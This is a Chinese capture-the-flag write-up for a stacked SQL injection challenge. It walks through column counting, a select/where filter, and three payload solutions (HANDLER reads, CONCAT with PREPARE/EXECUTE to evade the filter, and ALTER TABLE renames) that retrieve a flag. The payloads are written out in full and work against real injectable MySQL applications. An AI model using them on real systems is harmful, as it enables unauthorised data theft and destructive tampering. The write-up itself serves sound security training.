解法1:handler

首先判断一下是否存在注入 是个’闭合的注入

  1. 1' order by 3#

查询返回报错error 1054 : Unknown column ‘3’ in ‘order clause’ 确定列名为2个
尝试一切union注入

  1. 1' union select 1,2#

页面返回了 不区分大小写过滤了select等字符

  1. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

现在就是考验你对绕过过滤和sql注入方法的掌握多少了
首先 要知道堆叠注入这个方式 我用自己的mysql数据库演示一下

  1. select * from member;show tables;

图片.png
运行的结果返回了两个值 一个是member表的内容 一个是pikachu这个数据库的表名
同样,我们可以在题目中运用这种方法

  1. 1';show tables;#

图片.png
查询到两个表1919810931114514 和 words
接着查询列名 结果就不演示了

  1. 1';show columns from words;#
  2. 1';show columns from `1919810931114514`;#

我们可以看到1919810931114514这个表里有一个flag列 现在就是要想办法得到他
我们可以利用handler句柄 这是mysql数据库独有的方法 演示如下

  1. handler users open;#打开句柄
  2. handler users read first;#读取第一列
  3. handler users read next;#读取下一列
  4. .....
  5. handler users close;#关闭句柄

_9BAXA9B_(_1_[CU`]OCR8E.png
这种方法的payload:

  1. 1';handler `1919810931114514` open;handler `1919810931114514` read first;#

解法二:预编译sql语句绕过

  1. 1';set @sql = CONCAT('SE','LECT * FROM `1919810931114514`;');prepare pre from @sql;EXECUTE pre;#

利用字符串拼接来绕过select的过滤
set 设置变量
prepare就是预编译 将设置的变量传个pre
执行pre

解法三:修改表名

我们在访问网站的时候 可以发现 本道题默认访问的表名应该是words表 因为返回了两个列的数据
所以我们可以尝试修改表的名称来使得默认访问的是1919810931114514表,并将1919810931114514表的flag改为id,这样的话我们在输入1的时候 就是默认查询flag了
payload:

  1. 1'; alter table words rename to aabbcc;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

然后输入 1’ or 1=1#得到flag.